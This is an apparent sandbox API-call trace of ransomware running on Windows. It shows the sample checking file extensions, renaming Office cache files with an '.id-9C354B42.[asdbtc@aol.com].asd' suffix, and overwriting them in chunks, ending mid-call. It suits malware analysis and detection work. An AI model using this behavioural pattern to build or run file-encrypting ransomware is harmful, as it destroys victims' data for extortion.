[0052.434] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0052.434] lstrlenW (lpString=".zip") returned 4 [0052.434] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0052.434] lstrlenW (lpString=".rar") returned 4 [0052.434] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0052.434] lstrlenW (lpString=".bz2") returned 4 [0052.434] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0052.434] lstrlenW (lpString=".7z") returned 3 [0052.434] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0052.434] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0052.434] lstrlenW (lpString=".dbf") returned 4 [0052.434] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0052.434] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0052.434] lstrlenW (lpString=".1cd") returned 4 [0052.434] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0052.434] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0052.434] lstrlenW (lpString=".jpg") returned 4 [0052.435] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0052.435] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0052.435] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0052.435] lstrlenW (lpString=".doc") returned 4 [0052.435] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0052.435] lstrlenW (lpString=".docx") returned 5 [0052.435] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0052.435] lstrlenW (lpString=".pdf") returned 4 [0052.435] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0052.435] lstrlenW (lpString=".xls") returned 4 [0052.435] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0052.435] lstrlenW (lpString=".xlsx") returned 5 [0052.435] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0052.435] lstrlenW (lpString=".ppt") returned 4 [0052.435] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0052.435] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0052.435] lstrlenW (lpString=".zip") returned 4 [0052.435] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0052.435] lstrlenW (lpString=".rar") returned 4 [0052.435] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0052.435] lstrlenW (lpString=".bz2") returned 4 [0052.435] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0052.435] lstrlenW (lpString=".7z") returned 3 [0052.435] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0052.435] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0052.435] lstrlenW (lpString=".dbf") returned 4 [0052.435] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0052.435] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0052.435] lstrlenW (lpString=".1cd") returned 4 [0052.435] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0052.435] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0052.435] lstrlenW (lpString=".jpg") returned 4 [0052.435] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0052.436] lstrcmpiW (lpString1=".cab", lpString2=".asd") returned 1 [0052.436] lstrlenW (lpString="OnoteLR.cab") returned 11 [0052.436] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0052.436] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x303ff1c | out: lpFileSize=0x303ff1c*=17456632) returned 1 [0052.436] CloseHandle (hObject=0x190) returned 1 [0052.436] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab")) returned 0x2020 [0052.436] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0052.436] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab.id-9c354b42.[asdbtc@aol.com].asd")) returned 1 [0052.437] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0052.437] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fc6c | out: lpNewFilePointer=0x0) returned 1 [0052.437] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fc2c | out: lpNewFilePointer=0x0) returned 1 [0052.437] ReadFile (in: hFile=0x190, lpBuffer=0x3b90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x303fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b90058*, lpNumberOfBytesRead=0x303fc38*=0x40000, lpOverlapped=0x0) returned 1 [0052.461] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x58c9fd, lpNewFilePointer=0x0, dwMoveMethod=0x303fc2c | out: lpNewFilePointer=0x0) returned 1 [0052.461] ReadFile (in: hFile=0x190, lpBuffer=0x3bd0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x303fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bd0058*, lpNumberOfBytesRead=0x303fc38*=0x40000, lpOverlapped=0x0) returned 1 [0052.607] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x303fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0052.607] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1065df8, lpNewFilePointer=0x0, dwMoveMethod=0x303fc2c | out: lpNewFilePointer=0x0) returned 1 [0052.607] ReadFile (in: hFile=0x190, lpBuffer=0x3c10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x303fc38, lpOverlapped=0x0 | out: lpBuffer=0x3c10058*, lpNumberOfBytesRead=0x303fc38*=0x40000, lpOverlapped=0x0) returned 1 [0052.663] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.664] WriteFile (in: hFile=0x190, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x303fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x303fcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0052.679] SetEndOfFile (hFile=0x190) returned 1 [0052.680] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40000) returned 0x4045bf8 [0052.683] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fc7c | out: lpNewFilePointer=0x0) returned 1 [0052.683] WriteFile (in: hFile=0x190, lpBuffer=0x4045bf8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x303fc88, lpOverlapped=0x0 | out: lpBuffer=0x4045bf8*, lpNumberOfBytesWritten=0x303fc88*=0x40000, lpOverlapped=0x0) returned 1 [0052.684] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x58c9fd, lpNewFilePointer=0x0, dwMoveMethod=0x303fc7c | out: lpNewFilePointer=0x0) returned 1 [0052.684] WriteFile (in: hFile=0x190, lpBuffer=0x4045bf8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x303fc88, lpOverlapped=0x0 | out: lpBuffer=0x4045bf8*, lpNumberOfBytesWritten=0x303fc88*=0x40000, lpOverlapped=0x0) returned 1 [0052.684] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1065df8, lpNewFilePointer=0x0, dwMoveMethod=0x303fc7c | out: lpNewFilePointer=0x0) returned 1 [0052.684] WriteFile (in: hFile=0x190, lpBuffer=0x4045bf8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x303fc88, lpOverlapped=0x0 | out: lpBuffer=0x4045bf8*, lpNumberOfBytesWritten=0x303fc88*=0x40000, lpOverlapped=0x0) returned 1 [0052.687] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4045bf8 | out: hHeap=0x510000) returned 1 [0052.687] CloseHandle (hObject=0x190) returned 1 [0052.687] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x2020) returned 1 [0052.687] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0052.687] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0052.687] lstrlenW (lpString=".doc") returned 4 [0052.687] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0052.687] lstrlenW (lpString=".docx") returned 5 [0052.687] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0052.687] lstrlenW (lpString=".pdf") returned 4 [0052.687] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0052.687] lstrlenW (lpString=".xls") returned 4 [0052.687] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0052.687] lstrlenW (lpString=".xlsx") returned 5 [0052.687] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0052.687] lstrlenW (lpString=".ppt") returned 4 [0052.687] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0052.687] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0052.688] lstrlenW (lpString=".zip") returned 4 [0052.688] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0052.688] lstrlenW (lpString=".rar") returned 4 [0052.688] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0052.688] lstrlenW (lpString=".bz2") returned 4 [0052.688] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0052.688] lstrlenW (lpString=".7z") returned 3 [0052.688] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0052.688] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0052.688] lstrlenW (lpString=".dbf") returned 4 [0052.688] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0052.688] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0052.688] lstrlenW (lpString=".1cd") returned 4 [0052.688] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0052.688] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0052.688] lstrlenW (lpString=".jpg") returned 4 [0052.688] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0052.688] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0052.688] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0052.688] lstrlenW (lpString=".doc") returned 4 [0052.688] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0052.688] lstrlenW (lpString=".docx") returned 5 [0052.688] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0052.688] lstrlenW (lpString=".pdf") returned 4 [0052.688] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0052.688] lstrlenW (lpString=".xls") returned 4 [0052.688] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0052.688] lstrlenW (lpString=".xlsx") returned 5 [0052.688] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0052.688] lstrlenW (lpString=".ppt") returned 4 [0052.688] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0052.689] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0052.689] lstrlenW (lpString=".zip") returned 4 [0052.689] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0052.937] lstrlenW (lpString=".rar") returned 4 [0052.937] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0052.937] lstrlenW (lpString=".bz2") returned 4 [0052.937] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0052.937] lstrlenW (lpString=".7z") returned 3 [0052.937] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0052.937] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0052.937] lstrlenW (lpString=".dbf") returned 4 [0052.937] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0052.937] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0052.937] lstrlenW (lpString=".1cd") returned 4 [0052.937] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0052.937] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0052.937] lstrlenW (lpString=".jpg") returned 4 [0052.937] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0052.937] lstrcmpiW (lpString1=".msi", lpString2=".asd") returned 1 [0052.937] lstrlenW (lpString="GrooveMUI.msi") returned 13 [0052.937] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0052.938] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x303ff1c | out: lpFileSize=0x303ff1c*=2507776) returned 1 [0052.938] CloseHandle (hObject=0x1dc) returned 1 [0052.938] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi")) returned 0x2020 [0052.938] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0052.938] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi.id-9c354b42.[asdbtc@aol.com].asd")) returned 1 [0052.939] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0052.939] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fc6c | out: lpNewFilePointer=0x0) returned 1 [0052.939] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fc2c | out: lpNewFilePointer=0x0) returned 1 [0052.939] ReadFile (in: hFile=0x1dc, lpBuffer=0x3b90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x303fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b90058*, lpNumberOfBytesRead=0x303fc38*=0x40000, lpOverlapped=0x0) returned 1 [0052.949] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0xcc155, lpNewFilePointer=0x0, dwMoveMethod=0x303fc2c | out: lpNewFilePointer=0x0) returned 1 [0052.949] ReadFile (in: hFile=0x1dc, lpBuffer=0x3bd0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x303fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bd0058*, lpNumberOfBytesRead=0x303fc38*=0x40000, lpOverlapped=0x0) returned 1 [0052.996] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x303fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0052.996] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x224400, lpNewFilePointer=0x0, dwMoveMethod=0x303fc2c | out: lpNewFilePointer=0x0) returned 1 [0052.996] ReadFile (in: hFile=0x1dc, lpBuffer=0x3c10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x303fc38, lpOverlapped=0x0 | out: lpBuffer=0x3c10058*, lpNumberOfBytesRead=0x303fc38*=0x40000, lpOverlapped=0x0) returned 1 [0053.364] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.364] WriteFile (in: hFile=0x1dc, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xc0106, lpNumberOfBytesWritten=0x303fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x303fcb0*=0xc0106, lpOverlapped=0x0) returned 1 [0053.388] SetEndOfFile (hFile=0x1dc) returned 1 [0053.388] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40000) returned 0x4045bf8 [0053.392] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fc7c | out: lpNewFilePointer=0x0) returned 1 [0053.392] WriteFile (in: hFile=0x1dc, lpBuffer=0x4045bf8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x303fc88, lpOverlapped=0x0 | out: lpBuffer=0x4045bf8*, lpNumberOfBytesWritten=0x303fc88*=0x40000, lpOverlapped=0x0) returned 1 [0053.394] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0xcc155, lpNewFilePointer=0x0, dwMoveMethod=0x303fc7c | out: lpNewFilePointer=0x0) returned 1 [0053.394] WriteFile (in: hFile=0x1dc, lpBuffer=0x4045bf8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x303fc88, lpOverlapped=0x0 | out: lpBuffer=0x4045bf8*, lpNumberOfBytesWritten=0x303fc88*=0x40000, lpOverlapped=0x0) returned 1 [0053.402] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x224400, lpNewFilePointer=0x0, dwMoveMethod=0x303fc7c | out: lpNewFilePointer=0x0) returned 1 [0053.402] WriteFile (in: hFile=0x1dc, lpBuffer=0x4045bf8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x303fc88, lpOverlapped=0x0 | out: lpBuffer=0x4045bf8*, lpNumberOfBytesWritten=0x303fc88*=0x40000, lpOverlapped=0x0) returned 1 [0053.406] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4045bf8 | out: hHeap=0x510000) returned 1 [0053.406] CloseHandle (hObject=0x1dc) returned 1 [0053.406] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x2020) returned 1 [0053.406] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0053.625] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0053.625] lstrlenW (lpString=".doc") returned 4 [0053.625] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0053.625] lstrlenW (lpString=".docx") returned 5 [0053.625] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0053.625] lstrlenW (lpString=".pdf") returned 4 [0053.625] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0053.625] lstrlenW (lpString=".xls") returned 4 [0053.625] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0053.625] lstrlenW (lpString=".xlsx") returned 5 [0053.625] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0053.625] lstrlenW (lpString=".ppt") returned 4 [0053.625] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0053.625] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0053.625] lstrlenW (lpString=".zip") returned 4 [0053.625] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0053.626] lstrlenW (lpString=".rar") returned 4 [0053.626] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0053.626] lstrlenW (lpString=".bz2") returned 4 [0053.626] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0053.626] lstrlenW (lpString=".7z") returned 3 [0053.626] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0053.626] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0053.626] lstrlenW (lpString=".dbf") returned 4 [0053.626] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0053.626] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0053.626] lstrlenW (lpString=".1cd") returned 4 [0053.626] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0053.626] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0053.626] lstrlenW (lpString=".jpg") returned 4 [0053.626] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0053.626] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0053.626] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0053.626] lstrlenW (lpString=".doc") returned 4 [0053.626] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0053.626] lstrlenW (lpString=".docx") returned 5 [0053.626] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0053.626] lstrlenW (lpString=".pdf") returned 4 [0053.626] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0053.626] lstrlenW (lpString=".xls") returned 4 [0053.626] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0053.626] lstrlenW (lpString=".xlsx") returned 5 [0053.626] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0053.627] lstrlenW (lpString=".ppt") returned 4 [0053.627] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0053.627] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0053.627] lstrlenW (lpString=".zip") returned 4 [0053.627] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0053.627] lstrlenW (lpString=".rar") returned 4 [0053.627] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0053.627] lstrlenW (lpString=".bz2") returned 4 [0053.627] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0053.627] lstrlenW (lpString=".7z") returned 3 [0053.627] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0053.627] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0053.627] lstrlenW (lpString=".dbf") returned 4 [0053.627] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0053.627] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0053.627] lstrlenW (lpString=".1cd") returned 4 [0053.627] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0053.627] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0053.627] lstrlenW (lpString=".jpg") returned 4 [0053.627] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0053.627] lstrcmpiW (lpString1=".dll", lpString2=".asd") returned 1 [0053.627] lstrlenW (lpString="dwdcw20.dll") returned 11 [0053.628] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0053.838] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x303ff1c | out: lpFileSize=0x303ff1c*=526176) returned 1 [0053.838] CloseHandle (hObject=0x190) returned 1 [0053.838] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll")) returned 0x2020 [0053.838] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0053.838] CreateFileW 